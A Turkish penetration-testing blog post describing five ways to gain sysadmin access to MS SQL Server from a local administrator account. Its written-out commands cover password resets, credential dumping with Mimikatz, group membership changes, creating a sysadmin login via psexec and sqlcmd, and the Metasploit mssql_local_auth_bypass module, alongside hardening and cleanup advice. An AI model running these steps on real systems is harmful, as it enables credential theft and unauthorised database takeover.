5 Ocak 2015 Pazartesi

MS SQL Yüklü İşletim Sisteminde Veritabanına Erişimin Elde Edilmesi

MS SQL Yüklü İşletim Sisteminde Veritabanına Erişimin Elde Edilmesi


Sızma testlerinde MSSQL yüklü bilgisayarda yerel yönetici hakkına sahip olduktan sonra, veritabanına direk olarak erişime sahip olunmayabilmektedir. Bu yazıda, MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek farklı yöntemler incelenecektir. Belirtilecek işlemler 5 ana başlıkta incelenebilir:
1) İşletim sistemindeki yerel kullanıcıların parolaları değiştirilerek
2) Servisi çalıştıran hesabın parolası elde edilerek
3) İşletim sistemindeki belli bir yerel gruba üye olunarak
4) Windows sqlcmd aracıyla yeni bir hesap oluşturarak
5) MSF mssql_local_auth_bypass post exploit modülü ile

Yukarıda belirtilen işlemler, aşağıdaki 3 durum mevcut iken gerçekleştirilmiştir:
  • SQL sunucunun Mixed moddadır:


  • Saldırgan, işletim sistemine Hacked adlı yerel bir yönetici ile erişim sağlamıştır:


  • Hacked hesabı ile MSSQL uygulamasına erişim sağlanamamaktadır:


MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek 5 yöntem aşağıdaki gibidir:

1) Kullanıcı Hesapları ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra tüm kullanıcıların parolası değiştirilebilir.
net user
net user Birkan Bb123456


Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; iş tanımında, adında, departmanında,... veritabanı ile ilgili bilgi geçen hesapların parolaları da değiştirilerek, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.

Sızma testleri sırasında bu şekilde bir değişiklik yapılması uygun değildir. Parolası değiştirilen kullanıcı hesapların parolaları bazı uygulamalarda, betiklerde, servislerde ... kullanılıyor olabilir, sonuç olarak da parola değişikliği sürekliliği ve erişebilirliği bozabilir.


2) MSSQLSERVER Servisi Hesabı ile

MS SQL Server 2012 öncesinde sunucu varsayılan olarak SYSTEM haklarıyla çalışır. Ancak MSSQLSERVER servisi kullanıcı hakları ile de çalışabilir.


Bu durumda, servis hesabının parolası elde edilebilir. Parolanın elde edilmesi için Mimikatzi WCE gibi araçlar kullanılabilir. Ayrıntılı bilgi için bakınız.
mimikatz
privilege::debug
sekurlsa::wdigest

Yukarıda 2 adet kimlik bilgisi (Hacked/Hh123456 ve SqlAjani/Ss123456) elde edilmiştir. Hacked hesabı, saldırganın sahibi olduğu hesap, SqlAjani hesabı ise MSSQLSERVER servisinin çalıştığı kullanıcı hesabıdır. Eğer MSSQLSERVER servisi, Domain Admins grubu üyelerinden biri ise veya etki alanında yüksek yetkili (etki alanına kullanıcı ekleme, etki alanındaki kullanıcının grubuna değiştirebilme,... gibi yetkiler) ise, MSSQL sunucusunu ele geçiren saldırgan, tüm etki alanına dahil olan sistemlerde yetki sahibi olabilir. Bu sebeple, MSSQLSERVER (ve diğer) servislerin sadece gerekli yetkilere sahip hesaplar ile çalıştırılması tavsiye edilmektedir.

Not: Kritik sistemlerde Mimikatz / WCE gibi araçların direk olarak çalıştırılmaması, LSASS.exe prosesinin dump dosyasının sanal bir makinede çalıştırılması tavsiye edilmektedir. Ayrıntılı bilgi için bakınız.


3) Gruplar ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, mevcut hesap veritabanı ile ilişkili yerel gruplara eklenebilir.
net localgroup
net localgroup "SQL Yoneticileri" Hacked /add

Mevcut hesap, yerel gruplara eklendikten ve oturum yeniden açıldıktan sonra, MSSQL sunucuya giriş sağlanabilir.

Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; tanımında, adında... veritabanı ile ilgili bilgi geçen gruba da üye olunduktan sonra, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.


4) Sqlcmd Aracı ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, MS Psexec aracıyla SYSTEM yetkisine sahip olanabilir.
psexec /s cmd

SYSTEM haklarına geçildikten sonra da sqlcmd aracı kullanılarak Sysadmin rolüne sahip bir hesap oluşturulabilir.
sqlcmd -S localhost
USE [master]
GO
CREATE LOGIN [sa_hacked] WITH PASSWORD=N'Hh123456'
GO
EXEC master..sp_addsrvrolemember @loginame = N'sa_hacked', @rolename = N'sysadmin'
GO


Böylece, sa_hacked adlı sysadmin rolüne sahip hesap ile oturum açılabilir.



5) MSF mssql_local_auth_bypass ile

Yerel yönetici bilgileri ile MSF psexec gibi bir modül ile Meterpreter kabuğu elde edildikten sonra, MSF mssql_local_auth_bypass post exploitation modülü ile veritabanında tam yetkiye sahip olunabilir.

MSF psexec modülü ile meterpreter aşağıdaki gibi elde edilebilir:
use exploit/windows/smb/psexec
set RHOST 172.22.71.247
set SMBUSER Hacked
set SMBPASS Hh123456
exploit
getuid


Not: Meterpreter kabuğundan Windows cmd kabuğuna geçiş yaptıktan sonra - aşağıda incelenecek olan MSF modülünü kullanmadan - bir önceki başlıkta bahsedilen sqlcmd aracını kullanarak da sysadmin rolü elde edilebilir.

MSF mssql_local_auth_bypass post exploitation modülü aşağıdaki gibidir:
background
search mssql_local_auth_bypass
use post/windows/manage/mssql_local_auth_bypass
show options


Post modül aşağıdaki gibi ayarlanabilir ve çalıştırılabilir:
set DB_USERNAME yeni_sa
set DB_PASSWORD yeni_sa_Mssql123
set SESSION 1
run


Böylece, yeni_sa adlı sysadmin rolüne sahip hesap ile oturum açılabilir.


Veritabanında işlemler gerçekleştirildikten sonra oluşturulan hesabın (yeni_sa) silinmesi gerekmektedir. Silme işlemi Microsoft SQL Server Management Studio konsolundan gerçekleştirilebileceği gibi, MSF mssql_local_auth_bypass post exploitation modülündeki REMOVE_LOGIN seçeneğini "true" olarak değiştirilmesiyle aşağıdaki gibi de gerçekleştirilebilir:
use post/windows/manage/mssql_local_auth_bypass
set DB_USERNAME yeni_sa
set DB_PASSWORD RastgeleParola
set SESSION 1
set REMOVE_LOGIN true
run


Hiç yorum yok:

Yorum Gönder